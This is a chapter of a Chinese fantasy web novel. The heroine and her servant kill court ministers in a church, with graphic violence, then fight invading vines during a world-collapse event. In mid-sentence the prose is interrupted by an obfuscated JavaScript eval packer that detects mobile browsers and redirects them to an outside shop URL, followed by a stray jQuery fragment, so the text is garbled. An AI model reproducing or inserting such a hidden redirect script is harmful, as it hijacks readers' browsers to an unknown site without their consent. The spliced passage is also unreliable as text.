只见那些老臣们一个个凶神恶煞准备攻击,苍离却还保持着迎战姿势,气定神闲。
    教堂里剑拔弩张,紧张的氛围很快被打破。
    为首的大臣拿着手里的剑直冲上去,苍离闪身反手将飞刀插在他的腰上。
    还想垂死挣扎,却被苍离踹到一边。
    一群小兵涌来,也被苍离的飞刀齐齐斩断头颅。
    血沫飞溅。
    咚咚咚,头颅滚下了楼梯,狰狞地睁着双眼,扩散的瞳孔死死注视着教堂每一个角落。
    水夏使劲咬紧自己的嘴唇,不让自己惊叫出声,瞪大的眼睛里充满了泪水,双腿还在不停打颤,心跳如擂鼓声敲碎了她的心理防线。
    “看到了吗,你确定要帮我?”茵起的声音梦魇般在她的耳边回响。
    眼前闪过一霎银光,苍离的飞刀在空中转了一圈又飞回了他的手中。
    眼下教堂里只剩两个大臣,一个是侥幸逃脱攻击,一个一直站在旁边观战。
    茵起盯准了那个观战的,健步上前。
    从后面扼住他的咽喉。
    “纪昀铳,在哪。”她冷声问道。
    “我怎么知道。”
    茵起冷笑了一下。
    让他们选择买纪昀铳,就是为了试探这些人。
    若是这其中有人私藏了纪昀铳,他定知道这是假的,不会好奇。
    但这只是表象。
    选择时,他可以选要买蒙混过关,站在左边。但真正作战的时候不会出力,所以观战的人,大抵有问题。
    可那老贼死到临头了还在嘴硬。
    “苍离。”茵起一声令下。
    苍离把剩下活着的那位带到这位死鸭子嘴硬的老臣身边。
    第一刀,扎在身上。他口吐鲜血。
    第二刀,他跪了下来。
    最后一刀,一刀封喉,没了动静。
    那老臣看到的战战兢兢,却仍一言不发。
    半晌,他才开口,“没了,我亲眼看到它被丹云人摔碎了。”
    嘶哑的声音如老旧的手风琴般,在教堂的大厅里回荡。
    “哦。”
    茵起放开手,若无其事地擦了擦手上溅上的血,冷静的吓人。
    那就没了吧,她懒得纠结这话的真假。
    反正,她只是为了借此清理旧臣。
    刚转过身,背后忽然抵上一个东西。
    “我们大夏不会认你这种人,只认前国主。”
    回头一看,他从自己的外套里抽出了一把手枪,抵着茵起。
    手枪在大夏是稀有货,不知道这个老头是从哪拿到的。
    苍离刚想冲上前,却被茵起摆了摆手拦住。
    她淡定地转过身,一脸鄙夷。
    “认前国主?那她是被谁摔死的。”
    “我当时想偷偷救她,她是个好国主,可···”
    “现在还解释什么?”
    趁着那老臣回忆,手里力量松了,茵起一把抢过那手枪,扔给了苍离。
    稳稳地,苍离接住了枪,放回口袋。
    现在她还不想杀这人,他说他忠于之前的自己,总总让茵起有一点动容。
    一巴掌拍在老臣的后颈,他晕了过去。
    走过去,茵起翻出他口袋里的铭牌,上面写着‘余钟’。
    原来他叫余钟。
    教堂,本是庄严虔诚的地方,此刻却浸满了血色。
    里面只剩下三个活人。
    “我干的好吗,主人。”
    “怎么,想邀功?”
    苍离上前,吻了茵起的手背,眼睛却一直犀利地盯着她。
    背后漫天红晕映的他身上深色的中山装瑰丽无比。
    刚想开口,教堂的门外传来阵阵钟声。
    在教堂内部听,钟声几乎是震耳欲聋。
    两人都严肃起来。
    钟声是落日的预兆,可现在离上次落日还没过多久,钟声怎么会又响起。
    快步走到教堂外,茵起望向天空,外面乌云密布,黑压压一片。
    的确,是要落日了。
    但落日时间点不对,就是世界出现了异常。
    出现了异常只能说明一件事:世界快要崩塌了,可任务却离完成越来越远。
    难道她做了什么导致任务偏离?
    来不及多想,苍离拉起茵起就往外冲。
    “等等,是不是要带上她。”
    茵起指向一旁的水夏。
    罕见的,茵起仁慈了一回。
    水夏双腿颤抖,不知如何是好。
    说罢,茵起就提起水夏的后衣领把她提溜走了。
    可能是水夏营养不良,身材瘦小。
    本来茵起就高,又穿的是高跟鞋,水夏站在她身旁活像小孩子。
    地面已经四分五裂,局势比上一次还要危险。
    这次怕是等不到回家了。
    茵起尝试着从教堂里走出去,鞋一落地,地面却像生脆的糖果,咔嚓一下裂开。
    碎石掉进了裂开的缝隙里,久久听不到回声。
    看来要在教堂里来一场恶战了。
    落日持续的时间不短,两人短期抵抗还可以,若是长期怕是要耗尽体力。
    “快,先把门关上!”
    茵起的声音响彻教堂的角落。
    眼见着一根巨大的藤蔓打到眼前,黑影笼罩下来。
    她拉着水夏又跑回教堂内,苍离关上了门。
    刚把门上锁,沉闷的撞击声就传来。
    高耸的金属门被撞的凹陷了一块。
    四周的玻璃纷纷被震碎,反射着瘆人的光掉落下来,发出了刺耳的声音。
    水夏捂住耳朵,在地上瑟瑟发抖。
    藤蔓的力量如此强劲,这教堂怕也是支撑不了多久。
    还是要主动出击。
    给茵起使了个眼色,苍离向刚刚被震碎的窗户方向看去。
    不言而喻,茵起立刻懂了他的意思。
    脱下高跟鞋,茵起反拿着,用鞋跟卡进墙上浮雕里微小的凹陷里借力。
    身姿矫健,她爬到了窗户的边缘,一个空翻跳进了空缺的窗框里。
    外面已是昏天黑地,未起战火,空气中却弥漫着硝烟的味道。
    另一边的苍离也准备好了,一个弯刀朝着离他们最近的一枝藤蔓射去。
    弯刀将藤蔓割开,虽是植物,但看着它诡异的扭动,总感觉能听见它的哀嚎。
    另一边,茵起的指剑不偏不倚的射中了藤蔓的切口处。
    藤蔓先是痉挛后紧紧绷直,震颤了一会,缩回了地底。
    一根还好,但他们面对的是漫天黑压压的藤蔓。
    两人配合默契,很快有许多藤蔓被斩下。
    狂风卷沙冲进屋内,掀起腥风
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616118|187762||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    血雨。
    茵起的手牢牢地抓住窗框,差点要被狂风吹下去。
    以前从未与落日正面交手这么久过,现在算是见识到了落日的真正实力。
    底缝间最中心,最粗壮的藤蔓忽然调转了方向向他们袭来。
    速度太快,苍离的飞刀偏了,茵起的指剑射到了它的尖端,可并没有影响它的行动。
    带着满身的泥土,藤蔓向教堂袭来,直冲大门。
    “砰!”
    一声巨响,这时候再拦已经来不及了,触手似的东西直直戳了进来。
    这可是金属门。
    只听尖叫一声,那藤蔓直冲站在中心的水夏。
    巨大的藤蔓挡住了茵起的视线,她此时无法搭救水夏,只能不停地朝巨物发剑。
    剩下的只能靠她自求多福了。
    “砰。”彼时又是一声巨响。
    声音比刚刚的还要更大。
    耳蜗里传来一阵嗡鸣,听力几乎要失灵。
    茵起不知道发生了什么,看向苍离,他也只是摇了摇头。
    那藤蔓忽地瘫软下来,没了气,从门上的洞里缩回去。
    藤蔓上赫然出现一个洞,洞后是水夏颤动的瞳孔。
    她枪口的硝烟还未散尽。
    危急时刻,她捡起了苍离落在地上的枪。
    水夏从未学过如何射击,上膛,扣动扳机,也只是见过别人,然后有样学样。
    危急时刻却能发挥的如此之好。
    眼里浸满了泪水,她再也忍不住,痛哭了起来。
    窗框上的两个人都为之震惊。
    不知是否是因为首脑死了的原因,外面的藤蔓好像消停了些,渐渐退去。
    茵起跳下窗,看着痛哭的水夏不知所措。
    她现在的样子,给人一种螳臂不仅挡了车,还一拳干炸了车,最后嘤嘤哭泣的感觉。
    现在,茵起越来越觉得留水夏一命是个正确的选择了。
    “什么,东西。”
    之前被打晕的余钟醒了过来。
    向外一看,天上的墨色在慢慢消减,地面也在渐渐恢复原样。
    这是一轮落日结束了。
    落日结束后,除了死物,一切将会重启,包括晕厥的人,破碎的窗。
    不知什么时候,窗框上长出了新的玻璃,门也愈合了。
    看来应对落日,除了逃避,还可以杀其首脑,方可结束。
    血色也在地毯上消退。
    余钟迷迷糊糊了好一会才开始清醒。
    “你,你个杀人不眨眼的贱人!”
    他几乎是爬着才站起来冲向茵起。
    “别白费力气了,老伯。”
    茵起拧住他的手臂把他反扣在地上,对付一个花甲老人,容易的很。
    “主人,要我处理他吗。”
    “不,现在有更重要的事情。”
    捡起地下的枪,茵起揣进口袋,招呼着水夏一起离开。
    落日后的街上人流渐渐多了起来,报亭,早点,各式各样的叫卖声混杂在一起,很难看出这片土地刚刚经过了怎样的一次灾难。
    茵起抬头望向天。
    到底是哪里出了问题,要是在崩塌之前她未完成任务,她会面临什么。
    晨雾散尽,墨色被露水洇开,一片安宁中再找不出一丝痕迹。
    地的最深处,有暗流涌动。